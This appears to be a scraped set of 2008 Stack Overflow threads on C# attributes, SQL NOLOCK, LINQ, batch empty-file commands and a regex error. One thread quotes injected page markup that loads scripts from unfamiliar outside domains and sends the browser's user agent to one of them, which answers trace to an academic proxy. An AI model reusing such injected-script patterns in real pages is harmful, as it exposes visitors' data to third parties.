"text": "<p>If you are using the <code>Description</code> and <code>Category</code> in multi-lingual UIs, then you may find useful the resource-based versions (reflected from <code>System.Windows.Forms</code>):</p>\n\n<pre><code>[AttributeUsage(AttributeTargets.All)]\ninternal sealed class SRDescriptionAttribute : DescriptionAttribute\n{\n private bool replaced;\n\n public SRDescriptionAttribute(string description) : base(description)\n {\n }\n\n public override string Description\n {\n get\n {\n if (!this.replaced)\n {\n this.replaced = true;\n base.DescriptionValue = SR.GetString(base.Description);\n }\n return base.Description;\n }\n }\n}\n\n[AttributeUsage(AttributeTargets.All)]\ninternal sealed class SRCategoryAttribute : CategoryAttribute\n{\n public SRCategoryAttribute(string category) : base(category)\n {\n }\n\n protected override string GetLocalizedString(string value)\n {\n return SR.GetString(value);\n }\n}\n</code></pre>\n\n<p>where <code>SR</code> is a wrapper to the appropriate <code>ResourceManager</code>. </p>\n"
},
{
"answer_id": 210415,
"author": "joshua.ewer",
"author_id": 28664,
"author_profile": "https://Stackoverflow.com/users/28664",
"pm_score": 0,
"selected": false,
"text": "<p>I use it quite often on enumerations. Ever have that \"default\" or \"unknown\" value in an enum, but you don't necessarily want bound to a control, like a dropdown? Add a custom attribute, or use an existing one, to represent items that should/should not be viewable.</p>\n\n<p>I do a lot of work with frameworks that have event brokers and policy injection, and attributes are invaluable when it comes to decorating events with extra metadata or loosely coupling events. </p>\n\n<p>There are a few fairly new tools like PostSharp (<a href=\"http://www.postsharp.org/\" rel=\"nofollow noreferrer\">http://www.postsharp.org/</a>) you can use to encapsulate behavior inside attributes. Couple good examples on that site; it's amazing how much simpler you can make code through those patterns . . .</p>\n"
},
{
"answer_id": 210420,
"author": "Marc Gravell",
"author_id": 23354,
"author_profile": "https://Stackoverflow.com/users/23354",
"pm_score": 2,
"selected": false,
"text": "<p>Just a few...</p>\n\n<p>synchronization, inlining, etc:</p>\n\n<pre><code>[MethodImpl]\n</code></pre>\n\n<p>component model:</p>\n\n<pre><code>[TypeDescriptor], [DisplayName], [Editor]\n</code></pre>\n\n<p>serialization:</p>\n\n<pre><code>[Serializable], [DataMember], [XmlElement], [XmlAttribute], [NonSerialized], etc\n</code></pre>\n\n<p>declarative security:</p>\n\n<pre><code>[PrincipalPermission]\n</code></pre>\n\n<p>all the COM stuff...</p>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210145",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/28717/"
] |
>
> **Possible Duplicate:**
>
> [Most Useful Attributes in C#](https://stackoverflow.com/questions/144833/most-useful-attributes-in-c)
>
>
>
besides:
```
[DefaultValue(100)]
[Description("Some descriptive field here")]
public int MyProperty{get; set;}
```
What other C# Attributes are useful for Properties, after learning these I feel like I'm Missing out.
**Related Questions**
[Most Useful Attributes in C#](https://stackoverflow.com/questions/144833/most-useful-attributes-in-c#144929)
|
```
[Obsolete("This is an obsolete property")]
```
That's one of my favourites. Allows you to mark a property/method obsolete, which will cause a compiler warning (optionally, a compiler error) on build.
|
210,171 |
<p>I guess the real question is: </p>
<p>If I don't care about dirty reads, will adding the <strong>with (NOLOCK)</strong> hint to a SELECT statement affect the performance of:</p>
<ol>
<li>the current SELECT statement </li>
<li>other transactions against the given table</li>
</ol>
<p>Example:</p>
<pre><code>Select *
from aTable with (NOLOCK)
</code></pre>
|
[
{
"answer_id": 210179,
"author": "StingyJack",
"author_id": 16391,
"author_profile": "https://Stackoverflow.com/users/16391",
"pm_score": 3,
"selected": false,
"text": "<p>It will be faster because it doesnt have to wait for locks</p>\n"
},
{
"answer_id": 210227,
"author": "tom.dietrich",
"author_id": 15769,
"author_profile": "https://Stackoverflow.com/users/15769",
"pm_score": 9,
"selected": true,
"text": "<p>1) <strong>Yes</strong>, a select with <code>NOLOCK</code> will complete faster than a normal select.</p>\n\n<p>2) <strong>Yes</strong>, a select with <code>NOLOCK</code> will allow other queries against the effected table to complete faster than a normal select.</p>\n\n<p><strong>Why would this be?</strong> </p>\n\n<p><code>NOLOCK</code> typically (depending on your DB engine) means give me your data, and I don't care what state it is in, and don't bother holding it still while you read from it. It is all at once faster, less resource-intensive, and very very dangerous. </p>\n\n<p>You should be warned to never do an update from or perform anything system critical, or where absolute correctness is required using data that originated from a <code>NOLOCK</code> read. It is absolutely possible that this data contains rows that were deleted during the query's run or that have been deleted in other sessions that have yet to be finalized. It is possible that this data includes rows that have been partially updated. It is possible that this data contains records that violate foreign key constraints. It is possible that this data excludes rows that have been added to the table but have yet to be committed. </p>\n\n<p><em>You really have no way to know what the state of the data is.</em></p>\n\n<p>If you're trying to get things like a Row Count or other summary data where some margin of error is acceptable, then <code>NOLOCK</code> is a good way to boost performance for these queries and avoid having them negatively impact database performance.</p>\n\n<p><strong>Always use the <code>NOLOCK</code> hint with great caution and treat any data it returns suspiciously.</strong> </p>\n"
},
{
"answer_id": 210443,
"author": "Pittsburgh DBA",
"author_id": 10224,
"author_profile": "https://Stackoverflow.com/users/10224",
"pm_score": 6,
"selected": false,
"text": "<p>NOLOCK makes most SELECT statements faster, because of the lack of shared locks. Also, the lack of issuance of the locks means that writers will not be impeded by your SELECT.</p>\n\n<p>NOLOCK is functionally equivalent to an isolation level of READ UNCOMMITTED. The main difference is that you can use NOLOCK on some tables but not others, if you choose. If you plan to use NOLOCK on all tables in a complex query, then using SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED is easier, because you don't have to apply the hint to every table.</p>\n\n<p>Here is information about all of the isolation levels at your disposal, as well as table hints.</p>\n\n<p><a href=\"http://msdn.microsoft.com/en-us/library/ms173763(SQL.90).aspx\" rel=\"noreferrer\">SET TRANSACTION ISOLATION LEVEL</a></p>\n\n<p><a href=\"http://msdn.microsoft.com/en-us/library/ms187373(SQL.90).aspx\" rel=\"noreferrer\">Table Hint (Transact-SQL)</a></p>\n"
},
{
"answer_id": 7355121,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 4,
"selected": false,
"text": "<p>In addition to what is said above, you should be very aware that nolock actually imposes the risk of you <strong>not</strong> getting rows that has been committed <strong>before</strong> your select.</p>\n\n<p>See <a href=\"http://blogs.msdn.com/sqlcat/archive/2007/02/01/previously-committed-rows-might-be-missed-if-nolock-hint-is-used.aspx\">http://blogs.msdn.com/sqlcat/archive/2007/02/01/previously-committed-rows-might-be-missed-if-nolock-hint-is-used.aspx</a></p>\n"
},
{
"answer_id": 35228402,
"author": "WonderWorker",
"author_id": 1271898,
"author_profile": "https://Stackoverflow.com/users/1271898",
"pm_score": 2,
"selected": false,
"text": "<ul>\n<li><p>The answer is <strong>Yes</strong> if the query is run multiple times at once, because each transaction won't need to wait for the others to complete. However, If the query is run once on its own then the answer is No.</p></li>\n<li><p><strong>Yes</strong>. There's a significant probability that careful use of WITH(NOLOCK) will speed up your database overall. It means that other transactions won't have to wait for this SELECT statement to finish, but on the other hand, other transactions will slow down as they're now sharing their processing time with a new transaction. </p></li>\n</ul>\n\n<p>Be careful to <strong>only</strong> use <code>WITH (NOLOCK)</code> in SELECT statements on tables that have a clustered index.</p>\n\n<p>WITH(NOLOCK) is often exploited as a magic way to speed up database read transactions.</p>\n\n<p>The result set can contain rows that have not yet been committed, that are often later rolled back.</p>\n\n<p>If WITH(NOLOCK) is applied to a table that has a non-clustered index then row-indexes can be changed by other transactions as the row data is being streamed into the result-table. This means that the result-set can be missing rows or display the same row multiple times. </p>\n\n<p>READ COMMITTED adds an additional issue where data is corrupted within a single column where multiple users change the same cell simultaneously.</p>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210171",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/12424/"
] |
I guess the real question is:
If I don't care about dirty reads, will adding the **with (NOLOCK)** hint to a SELECT statement affect the performance of:
1. the current SELECT statement
2. other transactions against the given table
Example:
```
Select *
from aTable with (NOLOCK)
```
|
1) **Yes**, a select with `NOLOCK` will complete faster than a normal select.
2) **Yes**, a select with `NOLOCK` will allow other queries against the effected table to complete faster than a normal select.
**Why would this be?**
`NOLOCK` typically (depending on your DB engine) means give me your data, and I don't care what state it is in, and don't bother holding it still while you read from it. It is all at once faster, less resource-intensive, and very very dangerous.
You should be warned to never do an update from or perform anything system critical, or where absolute correctness is required using data that originated from a `NOLOCK` read. It is absolutely possible that this data contains rows that were deleted during the query's run or that have been deleted in other sessions that have yet to be finalized. It is possible that this data includes rows that have been partially updated. It is possible that this data contains records that violate foreign key constraints. It is possible that this data excludes rows that have been added to the table but have yet to be committed.
*You really have no way to know what the state of the data is.*
If you're trying to get things like a Row Count or other summary data where some margin of error is acceptable, then `NOLOCK` is a good way to boost performance for these queries and avoid having them negatively impact database performance.
**Always use the `NOLOCK` hint with great caution and treat any data it returns suspiciously.**
|
210,178 |
<p>Given the Below Tables. How do I get the Distinct name given the other ID of 76 in LINQ?</p>
<pre><code>**Table S**
SID OtherID
------------------------------
1 77
2 76
**Table Q**
QID SID HighLevelNAme LoweLevelName
---------------------------------------
10 1 Name1 Engine
11 1 Name1 SparkPlus
12 1 Name2 Seat
13 1 Name2 Belt
14 1 Name1 Oil
</code></pre>
<p>I want to return a list of </p>
<p>Name1
Name2</p>
<p>The SQL to do this is </p>
<pre><code>SELECT DISTINCT
Q.HighLevelNAme
FROM S
JOIN Q ON Q.SID = S.SID
WHERE
S.OtherID = 76
</code></pre>
<p>I also have Objects that represents each table.</p>
<p>An answer in VB or C# is acceptable.</p>
|
[
{
"answer_id": 210217,
"author": "Troy Howard",
"author_id": 19258,
"author_profile": "https://Stackoverflow.com/users/19258",
"pm_score": 4,
"selected": true,
"text": "<p>If you have the foreign key relationships defined in your database, and generated the LINQ classes via the designer, then the joins should be represented in the object model, right? So each QItem has a property SItem? If not, I guess you can use the Join extension method for that part. </p>\n\n<p>Anyhow, I didn't test this IRL, but wouldn't it just be this?</p>\n\n<pre><code>var results = (from QItem in dataContext.QItems\n where QItem.SItem.OtherID == 76\n select QItem.HighLevelName).Distinct();\n</code></pre>\n"
},
{
"answer_id": 210322,
"author": "David Basarab",
"author_id": 2469,
"author_profile": "https://Stackoverflow.com/users/2469",
"pm_score": 2,
"selected": false,
"text": "<p>Using the answer by Troy, this query methods also works.</p>\n\n<pre><code>List<string> highLevelNames = dataContext\n .Q\n .Where<Q>(item => item.S.OtherID == id)\n .Select<Q, string>(item => item.HighLevelNAme)\n .Distinct()\n .ToList<string>();\n</code></pre>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210178",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2469/"
] |
Given the Below Tables. How do I get the Distinct name given the other ID of 76 in LINQ?
```
**Table S**
SID OtherID
------------------------------
1 77
2 76
**Table Q**
QID SID HighLevelNAme LoweLevelName
---------------------------------------
10 1 Name1 Engine
11 1 Name1 SparkPlus
12 1 Name2 Seat
13 1 Name2 Belt
14 1 Name1 Oil
```
I want to return a list of
Name1
Name2
The SQL to do this is
```
SELECT DISTINCT
Q.HighLevelNAme
FROM S
JOIN Q ON Q.SID = S.SID
WHERE
S.OtherID = 76
```
I also have Objects that represents each table.
An answer in VB or C# is acceptable.
|
If you have the foreign key relationships defined in your database, and generated the LINQ classes via the designer, then the joins should be represented in the object model, right? So each QItem has a property SItem? If not, I guess you can use the Join extension method for that part.
Anyhow, I didn't test this IRL, but wouldn't it just be this?
```
var results = (from QItem in dataContext.QItems
where QItem.SItem.OtherID == 76
select QItem.HighLevelName).Distinct();
```
|
210,180 |
<p>I've noticed for quite a long time that strange domains such like jsev.com, cssxx.com appered in my firefox status bar from time to time, I always wonder why so many web pages contains resources from these strange domains. I googled it, but found nothing. I guess it's some kind of virus which infect the servers and insert the code. Here is a sample taken from page header of <a href="http://www.eflorenzano.com/threadexample/blog/" rel="nofollow noreferrer">http://www.eflorenzano.com/threadexample/blog/</a>:</p>
<pre><code><script language="javascript" src="http://i.jsev.com./base.2032621946.js"> </script>
<body onmousemove="return fz3824();">
<LINK REL="stylesheet" TYPE="text/css" HREF="http://i.cssxx.com./base2032621947.css">
<A HREF = "http://i.html.com./base2032621947.html"></A>
<SCRIPT LANGUAGE="JAVASCRIPT" SRC="http://i.js.com./base2032621947.js"></SCRIPT>
<SCRIPT LANGUAGE="JAVASCRIPT">
function getuseragnt()
{ var agt = navigator.userAgent.toLowerCase();
agt = agt.replace(/ /g, "");
return agt;
}
document.write("<LINK REL='stylesheet' TYPE='text/css' HREF='http://i.css2js.com./base.css" + getuseragnt() + "_2032621947'>")
</SCRIPT>
</code></pre>
<p>edit: I am on a debian box, only on firefox I see this code, I just tried opera, this code doesn't appear in opera, really strange, never heard of firefox having such problems.</p>
|
[
{
"answer_id": 210203,
"author": "mucit",
"author_id": 9609,
"author_profile": "https://Stackoverflow.com/users/9609",
"pm_score": 2,
"selected": false,
"text": "<p>It may be a browser worm installed on your machine. Should scan entire system.</p>\n"
},
{
"answer_id": 210212,
"author": "John Millikin",
"author_id": 3560,
"author_profile": "https://Stackoverflow.com/users/3560",
"pm_score": 2,
"selected": false,
"text": "<p>I see nothing unusual about that page. Check your system. Here's the code I received:</p>\n\n<pre><code><head><title>Tutorial 2</title>\n<link rel=\"stylesheet\" type=\"text/css\" href=\"http://yui.yahooapis.com/2.4.1/build/reset/reset-min.css\">\n<link rel=\"stylesheet\" type=\"text/css\" href=\"http://media.eflorenzano.com/css/example2.css\">\n<script type=\"text/javascript\" src=\"http://media.eflorenzano.com/js/jquery-1.2.2.min.js\"></script>\n<script type=\"text/javascript\" src=\"http://media.eflorenzano.com/js/jquery.form.js\"></script>\n\n<script type=\"text/javascript\">\n var _POSTER = '';\n var _FORM = '<textarea id=\"id_comment\" rows=\"10\" cols=\"40\" name=\"comment\"></textarea>';\n var _FORM_URL = '/threadexample/threadedcomments/comment/9/1/json/';\n var _REGISTER_URL = '/threadexample/register';\n var _CHECK_EXISTS_URL = '/threadexample/check_exists';\n var _LOGIN_URL = '/threadexample/login';\n var _IS_FOCUSED = null;\n var _ARROW_IMG_BASE = 'http://media.eflorenzano.com/img/arrow_';\n var _VOTE_BASE = '/threadexample/vote/';\n</script>\n\n<script type=\"text/javascript\" src=\"http://media.eflorenzano.com/js/example2.js\"></script>\n</head>\n</code></pre>\n"
},
{
"answer_id": 210216,
"author": "Eric Wendelin",
"author_id": 25066,
"author_profile": "https://Stackoverflow.com/users/25066",
"pm_score": 0,
"selected": false,
"text": "<p>That could very well be the case, as this does kinda look like some shady code. What if you use a different computer, does the source look the same?</p>\n"
},
{
"answer_id": 210240,
"author": "unwind",
"author_id": 28169,
"author_profile": "https://Stackoverflow.com/users/28169",
"pm_score": 0,
"selected": false,
"text": "<p>Hm ... No solution here, but as a datapoint: It doesn't look at all like that for me (Firefox 3.0.3, in Gentoo Linux). I get the following interesting elements in the header:</p>\n\n<pre>\n<link rel=\"stylesheet\" type=\"text/css\" href=\"http://yui.yahooapis.com/2.4.1/build/reset/reset-min.css\">\n<link rel=\"stylesheet\" type=\"text/css\" href=\"http://media.eflorenzano.com/css/example2.css\">\n<script type=\"text/javascript\" src=\"http://media.eflorenzano.com/js/jquery-1.2.2.min.js\">\n<script type=\"text/javascript\" src=\"http://media.eflorenzano.com/js/jquery.form.js\">\n[...]\n<script type=\"text/javascript\" src=\"http://media.eflorenzano.com/js/example2.js\">\n</pre>\n\n<p>This looks fairly clean to me; four references to resources on the same server, plus one CSS from what looks like Yahoo!. Strange, I wonder why it looked so different for you. Hopefully some true web wizard can shed some light on that.</p>\n\n<p>Also, I notice that all the weird-looking URI:s have domain names that end in a period, which I don't think is even legal. I Googled it, and found some old Digg thread, but was unable to locate the exact comment that mentioned the weird-looking URI:s. Strange.</p>\n"
},
{
"answer_id": 210278,
"author": "Michael Sharek",
"author_id": 1958,
"author_profile": "https://Stackoverflow.com/users/1958",
"pm_score": 2,
"selected": false,
"text": "<p><a href=\"http://dns.measurement-factory.com/cgi-bin/poison_browser.pl?qn=i.cssxx.com\" rel=\"nofollow noreferrer\">DNS poisoning?</a></p>\n"
},
{
"answer_id": 623317,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 4,
"selected": true,
"text": "<p>This happens if you are using one of Princeton university's CoDeeN project proxy servers. CoDeeN is an academic testbed content distribution network. When you browse a web page using CoDeeN proxy it injects some HTML code to the site's original HTML and redirects requests sent to pseudo adresses to the project's servers.\nSome of the pseudo addresses are:\n<a href=\"http://i.cssxx.com./base0877861956.css\" rel=\"nofollow noreferrer\">http://i.cssxx.com./base0877861956.css</a> | i.cssxx.com.\n<a href=\"http://i.jsev.com./base.0877861955.js\" rel=\"nofollow noreferrer\">http://i.jsev.com./base.0877861955.js</a> | i.jsev.com./\n<a href=\"http://i.html.com./base0877861956.html\" rel=\"nofollow noreferrer\">http://i.html.com./base0877861956.html</a> | i.html.com.\n<a href=\"http://i.js.com./base0877861956.js\" rel=\"nofollow noreferrer\">http://i.js.com./base0877861956.js</a> | i.js.com./\n<a href=\"http://i.css2js.com./base.css\" rel=\"nofollow noreferrer\">http://i.css2js.com./base.css</a> | i.css2js.com.</p>\n\n<p>Some or all CoDeeN's proxy servers appear as anonymous proxy servers list.\nCoDeeN project page: <a href=\"http://codeen.cs.princeton.edu/\" rel=\"nofollow noreferrer\">http://codeen.cs.princeton.edu/</a></p>\n"
},
{
"answer_id": 1962353,
"author": "john",
"author_id": 238717,
"author_profile": "https://Stackoverflow.com/users/238717",
"pm_score": 1,
"selected": false,
"text": "<p>I agree with Mediashakers</p>\n\n<p>That cause you're using CoDeeN project proxy servers</p>\n\n<p>Try use no proxy, it will see the difference</p>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210180",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1925263/"
] |
I've noticed for quite a long time that strange domains such like jsev.com, cssxx.com appered in my firefox status bar from time to time, I always wonder why so many web pages contains resources from these strange domains. I googled it, but found nothing. I guess it's some kind of virus which infect the servers and insert the code. Here is a sample taken from page header of <http://www.eflorenzano.com/threadexample/blog/>:
```
<script language="javascript" src="http://i.jsev.com./base.2032621946.js"> </script>
<body onmousemove="return fz3824();">
<LINK REL="stylesheet" TYPE="text/css" HREF="http://i.cssxx.com./base2032621947.css">
<A HREF = "http://i.html.com./base2032621947.html"></A>
<SCRIPT LANGUAGE="JAVASCRIPT" SRC="http://i.js.com./base2032621947.js"></SCRIPT>
<SCRIPT LANGUAGE="JAVASCRIPT">
function getuseragnt()
{ var agt = navigator.userAgent.toLowerCase();
agt = agt.replace(/ /g, "");
return agt;
}
document.write("<LINK REL='stylesheet' TYPE='text/css' HREF='http://i.css2js.com./base.css" + getuseragnt() + "_2032621947'>")
</SCRIPT>
```
edit: I am on a debian box, only on firefox I see this code, I just tried opera, this code doesn't appear in opera, really strange, never heard of firefox having such problems.
|
This happens if you are using one of Princeton university's CoDeeN project proxy servers. CoDeeN is an academic testbed content distribution network. When you browse a web page using CoDeeN proxy it injects some HTML code to the site's original HTML and redirects requests sent to pseudo adresses to the project's servers.
Some of the pseudo addresses are:
<http://i.cssxx.com./base0877861956.css> | i.cssxx.com.
<http://i.jsev.com./base.0877861955.js> | i.jsev.com./
<http://i.html.com./base0877861956.html> | i.html.com.
<http://i.js.com./base0877861956.js> | i.js.com./
<http://i.css2js.com./base.css> | i.css2js.com.
Some or all CoDeeN's proxy servers appear as anonymous proxy servers list.
CoDeeN project page: <http://codeen.cs.princeton.edu/>
|
210,201 |
<p>Can somebody remember what was the command to create an empty file in MSDOS using BAT file?</p>
|
[
{
"answer_id": 210209,
"author": "TheSmurf",
"author_id": 1975282,
"author_profile": "https://Stackoverflow.com/users/1975282",
"pm_score": 9,
"selected": true,
"text": "<pre><code>echo. 2>EmptyFile.txt\n</code></pre>\n"
},
{
"answer_id": 211045,
"author": "ephemient",
"author_id": 20713,
"author_profile": "https://Stackoverflow.com/users/20713",
"pm_score": 9,
"selected": false,
"text": "<pre>copy NUL EmptyFile.txt</pre>\n\n<p>DOS has a few special files (devices, actually) that exist in every directory, <code>NUL</code> being the equivalent of UNIX's <code>/dev/null</code>: it's a magic file that's always empty and throws away anything you write to it. Here's a <a href=\"http://www.pcmag.com/encyclopedia_term/0,2542,t=DOS+device+names&i=41766,00.asp\" rel=\"noreferrer\">list</a> of some others; <code>CON</code> is occasionally useful as well.</p>\n\n<p>To avoid having any output at all, you can use</p>\n\n<pre>copy /y NUL EmptyFile.txt >NUL</pre>\n\n<p><code>/y</code> prevents <code>copy</code> from asking a question you can't see when output goes to <code>NUL</code>.</p>\n"
},
{
"answer_id": 295214,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 8,
"selected": false,
"text": "<pre><code>type NUL > EmptyFile.txt\n</code></pre>\n\n<p>After reading the previous two posts, this blend of the two is what I came up with. It seems a little cleaner. There is no need to worry about redirecting the \"1 file(s) copied.\" message to <code>NUL</code>, like the previous post does, and it looks nice next to the <code>ECHO OutputLineFromLoop >> Emptyfile.txt</code> that will usually follow in a batch file.</p>\n"
},
{
"answer_id": 1330484,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 2,
"selected": false,
"text": "<p>You can use a <code>TYPE</code> command instead of <code>COPY</code>. Try this:</p>\n\n<pre><code>TYPE File1.txt>File2.txt\n</code></pre>\n\n<p>Where <code>File1.txt</code> is empty.</p>\n"
},
{
"answer_id": 2620900,
"author": "Johannes",
"author_id": 314358,
"author_profile": "https://Stackoverflow.com/users/314358",
"pm_score": 5,
"selected": false,
"text": "<p>REM. > empty.file</p>\n"
},
{
"answer_id": 5507221,
"author": "Emm",
"author_id": 686634,
"author_profile": "https://Stackoverflow.com/users/686634",
"pm_score": 3,
"selected": false,
"text": "<pre><code>fsutil file createnew file.cmd 0\n</code></pre>\n"
},
{
"answer_id": 9458324,
"author": "script'n'code",
"author_id": 1234518,
"author_profile": "https://Stackoverflow.com/users/1234518",
"pm_score": 3,
"selected": false,
"text": "<p>If there's a possibility that the to be written file already exists and is read only, use the following code:</p>\n\n<pre><code>ATTRIB -R filename.ext\nCD .>filename.ext\n</code></pre>\n\n<p>If no file exists, simply do:</p>\n\n<pre><code>CD .>filename.ext\n</code></pre>\n\n<p>(updated/changed code according to DodgyCodeException's comment)</p>\n\n<p>To supress any errors that may arise:</p>\n\n<pre><code>ATTRIB -R filename.ext>NUL\n(CD .>filename.ext)2>NUL\n</code></pre>\n"
},
{
"answer_id": 22312518,
"author": "Batchman",
"author_id": 3403791,
"author_profile": "https://Stackoverflow.com/users/3403791",
"pm_score": -1,
"selected": false,
"text": "<p>The easiest way is:</p>\n\n<p><code>echo. > Filename.txt</code></p>\n"
},
{
"answer_id": 23158286,
"author": "n611x007",
"author_id": 611007,
"author_profile": "https://Stackoverflow.com/users/611007",
"pm_score": 6,
"selected": false,
"text": "<p>Techniques I gathered from other answers:</p>\n\n<p><strong>Makes a 0 byte file</strong> a very clear, backward-compatible way:</p>\n\n<pre><code>type nul >EmptyFile.txt\n</code></pre>\n\n<p>idea via: <a href=\"https://stackoverflow.com/a/295214/611007\">anonymous</a>, <a href=\"https://stackoverflow.com/questions/210201/how-to-create-empty-text-file-from-a-batch-file#comment19853904_1330484\">Danny Backett</a>, possibly others, myself inspired by <a href=\"https://superuser.com/users/38062/jdebp\">JdeBP's work</a></p>\n\n<p><strong>A 0 byte file another way</strong>, it's backward-compatible-looking:</p>\n\n<pre><code>REM. >EmptyFile.txt\n</code></pre>\n\n<p>idea via: <a href=\"https://stackoverflow.com/a/2620900/611007\">Johannes</a></p>\n\n<p><strong>A 0 byte file 3rd way</strong> backward-compatible-looking, too:</p>\n\n<pre><code>echo. 2>EmptyFile.txt\n</code></pre>\n\n<p>idea via: <a href=\"https://stackoverflow.com/a/210209/611007\">TheSmurf</a></p>\n\n<p><strong>A 0 byte file the systematic way</strong> <a href=\"http://technet.microsoft.com/en-us/library/bb457122.aspx\" rel=\"noreferrer\">probably</a> available since Windows 2000:</p>\n\n<pre><code>fsutil file createnew EmptyFile.txt 0\n</code></pre>\n\n<p>idea via: <a href=\"https://stackoverflow.com/a/5507221/611007\">Emm</a></p>\n\n<p><strong>A 0 bytes file overwriting readonly files</strong></p>\n\n<pre><code>ATTRIB -R filename.ext>NUL\n(CD.>filename.ext)2>NUL\n</code></pre>\n\n<p>idea via: <a href=\"https://stackoverflow.com/a/9458324/611007\">copyitright</a></p>\n\n<p><strong>A single newline</strong> (2 bytes: <code>0x0D 0x0A</code> in <a href=\"http://wiki.osdev.org/Hexadecimal_Notation\" rel=\"noreferrer\">hex notation</a>, alternatively written as <code>\\r\\n</code>):</p>\n\n<pre><code>echo.>AlmostEmptyFile.txt\n</code></pre>\n\n<p>Note: <em>no</em> space between <code>echo</code>, <code>.</code> and <code>></code>.</p>\n\n<p>idea via: <a href=\"https://stackoverflow.com/questions/132799/how-can-you-echo-a-newline-in-batch-files\">How can you echo a newline in batch files?</a></p>\n\n<hr>\n\n<p><strong>edit</strong> It seems that <em>any invalid</em> command <em>redirected</em> to a file would create an empty file. heh, a feature!\ncompatibility: uknown</p>\n\n<pre><code>TheInvisibleFeature <nul >EmptyFile.txt\n</code></pre>\n\n<p><strong>A 0 bytes file: invalid command/ with a random name</strong> (compatibility: uknown):</p>\n\n<pre><code>%RANDOM%-%TIME:~6,5% <nul >EmptyFile.txt\n</code></pre>\n\n<p>via: great <a href=\"http://unserializableone.blogspot.hu/2009/04/create-unique-temp-filename-with-batch.html\" rel=\"noreferrer\">source</a> for random by Hung Huynh </p>\n\n<p><strong>edit 2</strong> Andriy M <a href=\"https://stackoverflow.com/questions/210201/how-to-create-empty-text-file-from-a-batch-file/23158286?noredirect=1#comment35653129_23158286\">points out</a> the probably most amusing/provoking way to achieve this via invalid command</p>\n\n<p><strong>A 0 bytes file: invalid command/ the funky way</strong> (compatibility: unknown)</p>\n\n<pre><code>*>EmptyFile.txt\n</code></pre>\n\n<p>idea via: <a href=\"https://stackoverflow.com/users/297408/andriy-m\">Andriy M</a></p>\n\n<p><strong>A 0 bytes file 4th-coming way</strong>: </p>\n\n<pre><code>break > file.txt\n</code></pre>\n\n<p>idea via: <a href=\"https://stackoverflow.com/questions/210201/how-to-create-empty-text-file-from-a-batch-file/24822936#24822936\">foxidrive</a> thanks to <a href=\"https://stackoverflow.com/questions/210201/how-to-create-empty-text-file-from-a-batch-file/23158286?noredirect=1#comment43905374_23158286\">comment</a> of <a href=\"https://stackoverflow.com/users/289317/double-gras\">Double Gras</a>!</p>\n"
},
{
"answer_id": 24822936,
"author": "foxidrive",
"author_id": 2299431,
"author_profile": "https://Stackoverflow.com/users/2299431",
"pm_score": 3,
"selected": false,
"text": "<p>One more to add to the books - short and sweet to type.</p>\n\n<pre><code>break>file.txt\nbreak>\"file with spaces in name.txt\"\n</code></pre>\n"
},
{
"answer_id": 25181856,
"author": "PeterE",
"author_id": 3918245,
"author_profile": "https://Stackoverflow.com/users/3918245",
"pm_score": 1,
"selected": false,
"text": "<p>You can also use <code>SET</code> to create a null <code>byte</code> file as follows</p>\n\n<pre><code>set x=x > EmptyFile.txt\n</code></pre>\n\n<p>Or if you don't want to create an extra variable reassign an existing variable like</p>\n\n<pre><code>set PROMPT=%PROMPT% > EmptyFile.txt\n</code></pre>\n\n<p>or like this:</p>\n\n<pre><code>set \"PROMPT=%PROMPT%\" > EmptyFile.txt\n</code></pre>\n"
},
{
"answer_id": 59906894,
"author": "Wolfpack'08",
"author_id": 445651,
"author_profile": "https://Stackoverflow.com/users/445651",
"pm_score": -1,
"selected": false,
"text": "<p><strong>IMPORTANT:</strong></p>\n\n<p>If you don't set the encoding, many softwares can break. git is a very popular example.</p>\n\n<p><code>Set-Content \"your_ignore_file.txt\" .gitignore -Encoding utf8</code> <strong>this is case-sensitive</strong> and forces utf8 encoding!</p>\n"
},
{
"answer_id": 60583593,
"author": "HaxAddict1337",
"author_id": 12861751,
"author_profile": "https://Stackoverflow.com/users/12861751",
"pm_score": 2,
"selected": false,
"text": "<p>There are infinite approaches.</p>\n\n<p>Commands that output nothing:</p>\n\n<pre><code>break\ncls\ncolor\ngoto\npushd\npopd\nprompt\ntitle\n</code></pre>\n\n<p>Weird Commands:</p>\n\n<pre><code>CD.\nREM.\n@echo off\ncmd /c\nSTART >FILE\n</code></pre>\n\n<p>The outdated <code>print</code> command produces a blank file:</p>\n\n<pre><code>print /d:EMPTY_TEXT_FILE nul\n</code></pre>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210201",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/446104/"
] |
Can somebody remember what was the command to create an empty file in MSDOS using BAT file?
|
```
echo. 2>EmptyFile.txt
```
|
210,206 |
<p>I have this regex I built and tested in regex buddy.</p>
<pre><code>"_ [ 0-9]{10}+ {1}+[ 0-9]{10}+ {2}+[ 0-9]{6}+ {2}[ 0-9]{2}"
</code></pre>
<p>When I use this in .Net C# </p>
<p>I receive the exception</p>
<pre><code>"parsing \"_ [ 0-9]{10}+ +[ 0-9]{10}+ +[ 0-9]{6}+ [ 0-9]{2}\" - Nested quantifier +."
</code></pre>
<p>What does this error mean? Apparently .net doesn't like the expression.</p>
<p>Here is the regex buddy so u can understand my intention with the regex...</p>
<pre><code>_ [ 0-9]{10}+ {1}+[ 0-9]{10}+ {2}+[ 0-9]{6}+ {2}[ 0-9]{2}
Match the characters "_ " literally «_ »
Match a single character present in the list below «[ 0-9]{10}+»
Exactly 10 times «{10}+»
The character " " « »
A character in the range between "0" and "9" «0-9»
Match the character " " literally « {1}+»
Exactly 1 times «{1}+»
Match a single character present in the list below «[ 0-9]{10}+»
Exactly 10 times «{10}+»
The character " " « »
A character in the range between "0" and "9" «0-9»
